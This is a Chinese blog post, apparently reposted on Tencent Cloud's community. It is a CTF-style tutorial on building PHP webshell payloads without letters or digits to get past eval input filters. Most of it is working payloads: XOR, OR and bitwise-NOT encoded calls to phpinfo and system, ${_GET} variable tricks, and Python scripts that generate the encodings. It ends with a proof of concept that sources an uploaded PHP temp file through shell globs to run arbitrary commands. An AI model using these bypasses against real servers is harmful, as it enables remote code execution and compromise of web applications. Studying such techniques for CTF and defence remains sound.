前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >无字母webshell | Bypass

无字母webshell | Bypass

作者头像
h0cksr
发布2023-05-16 14:29:05
8910
发布2023-05-16 14:29:05
举报
文章被收录于专栏:h0cksr的小屋h0cksr的小屋

无字母webshell-plus

Pation

  • 短标签不需要分号闭合?code=?><?=phpinfo()?><?=system("dir")?>
  • eval执行代码相当于另外生成一个php文件,文件格式为有<?php ….. ?>所以可以通过短标签摆脱;的限制
  • 异或和或运算时要将两个部分的参数用引号包起来?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();
  • {…}{0}里面的运算会执行且当运算结果为_GET时效果和_GET无异
  • linux的.表示当前的shell(如/bin/bash)
  • 可以通过 ls /fl????? 匹配文件

方法一:异或运算^

方法一:或运算|

方法一+方法二获取脚本:

import string,urllib.parse
print(string.printable)
def get_chr(c,jud):
    for i in range(0xFF):
        for j in range(128):
            if (jud == "|"):
                if (chr(i | j) == c):
                    if (chr(i)not in disable) and (chr(j)not in disable):
                        return i,j
            elif jud == "^":
                if (chr(i ^ j) == c):
                    if (chr(i)not in disable) and (chr(j)not in disable):
                        return i,j

#根据过滤加入被过滤的字符
disable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
print("disable_chars => ",disable)
jud = input("选择或运算(|)输入|,选择异或运算(^)输入^\n->\t")
while 1:
    c1 = ""
    c2 = ""
    inp = input("input Your string:\n->\t")
    for i in inp:
        a,b = get_chr(i,jud)
        a1 = str(hex(a)).replace("0x","")
        b1 = str(hex(b)).replace("0x","")
        if int(a)<16: c1 += "%0"+a1
        else: c1 += "%"+a1
        if int(b)<16: c2 += "%0"+b1
        else: c2 += "%"+ b1

    print("payload\t=\t(\""+c1+"\""+jud+"\""+c2+"\")")
    # ?code=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%04%09%09"^"%60%60%7b");
    # => ?code=("system")("dir");

方法三 : 取反运算~

<?php
code="phpinfo";
echo "\ncode\t(~".urlencode(~$code).")";

php5与php7的区别:

php5不支持($a)()这种方法动态解析调用函数;

在 PHP 5 中 assert() 是一个函数,我们可以通过f='assert';f(...);这样的方法来动态执行任意代码,此时它可以起到替代 eval() 的作用。但是在 PHP 7 中,assert() 不再是函数了,而是变成了一个和 eval() 一样的语言结构,此时便和 eval() 一样不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用 file_put_contents() 函数,同样可以用来 Getshell 。


异或运算^或运算|取反运算~方法都是先进行运算后得到函数字符串再动态执行函数的,想要进行运算得到目标字符串有以下方法(三种):

方法一 : 通过(…)执行运算

?code=(~%8F%97%8F%96%91%99%90)();

方法二 : 通过[…][0]执行运算

[]会执行里面的函数,然后得到的结果为一个数组,[][0]获得第一个成员变量(%ff取反得到的是false) 方法二payload生成脚本:

exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)
?code=[~%8F%97%8F%96%91%99%90][0]();
?code=[~%8F%97%8F%96%91%99%90][~%ff]();
?code=[~%8F%97%8F%96%91%99%90,0][~%ff]();
?code=[phpinfo,0][~%ff]();
以上都可行,以下不执行
?code=[~%8F%97%8F%96%91%99%90,0][1]();

所以可以通过[~%8F%97%8F%96%91%99%90][!%FF]()这种方法得到"phpinfo"字符串进一步执行phpinfo()函数

?code=[~%8F%97%8F%96%91%99%90][!%FF]();

方法三 : 通过{…}{%ff}执行运算得到{_GET}{%ff}

这个方法不会受到版本限制(php5或php7均可)

还可以通过?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%FF}();结合get传参的方法(%ff%ff%ff%ff^%a0%b8%ba%ab得到的结果就是_GET)执行phpinfo();

注:本地测试" var_dump(${_GET}); "可以正常输出,但是" var_dump({_GET}); "会报错

?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir

解释一下这个师傅的绕过手法:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即: 
${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo

任何字符与 0xff 异或都会取相反,这样就能减少运算量了。 注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用代替,原因是 PHP 的 use of undefined constant 特性。例如{_GET}{a}这样的语句 PHP 是不会判为错误的,因为是用来界定变量的,这句话就是会将_GET自动看为字符串,也就是_GET['a']。

?code="phpinfo"();
?code=("phpinfo")();
?code=("php"."info")();
?code=(_GET[0])();&0=phpinfo
?code=[~%8F%97%8F%96%91%99%90][!%FF]();
?code=("%10%08%10%09%0E%06%0F"|"```````")();
?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();
?code=(~%8F%97%8F%96%91%99%90)();
以上方法在php5中都不能执行phpinfo()函数,但是php7中就可以

以下方法不受版本限制
?code=_="dir"?><?=`_`;
?code=_="phpinfo";_();
?code=_GET[0]();&0=phpinfo
?code=_=(~%8F%97%8F%96%91%99%90);_();
?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}({%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir

总结:一般都不会丧心病狂过滤(),所以php7中可以直接通过(…)(…)这种方式执行任意代码,但是php5就比较麻烦,如果和=可用还能则可以通过?code==(~%8F%97%8F%96%91%99%90);$\();执行代码

或者标准方法三也可以执行任意代码:?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}({%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir

分号;被过滤?

可以通过不断闭合再短标签执行多个函数 : ?code=?><?=phpinfo()?><?=system("dir")?>

但是如果在php5中$被ban了的话只能通过如下拓展,

1: 利用?>闭合eval的<?标签再通过短标签<?=和“获得shell的方法

2: 配合通配符执行匹配文件 和 .使用当前shell执行文件

3: 配套上文件上传暂存文件名的规律构造匹配的通配符

最终实现通过当前shell(如/bin/bash)执行构造好的上传文件,最终达到RCE的效果

拓展方法四

拓展一些(来自p神的文章) : https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

PHP5+shell打破禁锢

因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时我想到了两个有趣的Linux shell知识点:

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

第一点曾在《 小密圈里的那些奇技淫巧 》露出过一角,但我没细讲。.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到如下错误:

image.png
image.png

这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

image.png
image.png

可见,我们要执行的/tmp/phpcjggLC排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

思路又陷入了僵局,虽然方向没错。

深入理解glob通配符

大部分同学对于通配符,可能知道的都只有*?。但实际上,阅读Linux的文档( http://man7.org/linux/man-pages/man7/glob.7.html ),可以学到更多有趣的知识点。

其中,glob支持用[^x]的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts

image.png
image.png

排除了第4个字符是-的文件,同样我们可以排除包含.的文件:

image.png
image.png

现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。

继续阅读glob的帮助,我发现另一个有趣的用法:

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

我们再来看看之前列出可能干扰我们的文件:

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

image.png
image.png

那么,我们可以利用[@-[]来表示大写字母:

image.png
image.png

显然这一招是管用的。

构造POC,执行任意命令

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

最后,我传入的code为?><?=. /???/????????[@-[];?>,发送数据包如下:

img
img

成功执行任意命令。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-2-26 2,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 无字母webshell-plus
  • 方法一:异或运算^
  • 方法一:或运算|
  • 方法三 : 取反运算~
  • php5与php7的区别:
    • 方法一 : 通过(…)执行运算
      • 方法二 : 通过[…][0]执行运算
        • 方法三 : 通过{…}{%ff}执行运算得到{_GET}{%ff}
        • 拓展方法四
          • PHP5+shell打破禁锢
            • 深入理解glob通配符
              • 构造POC,执行任意命令
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档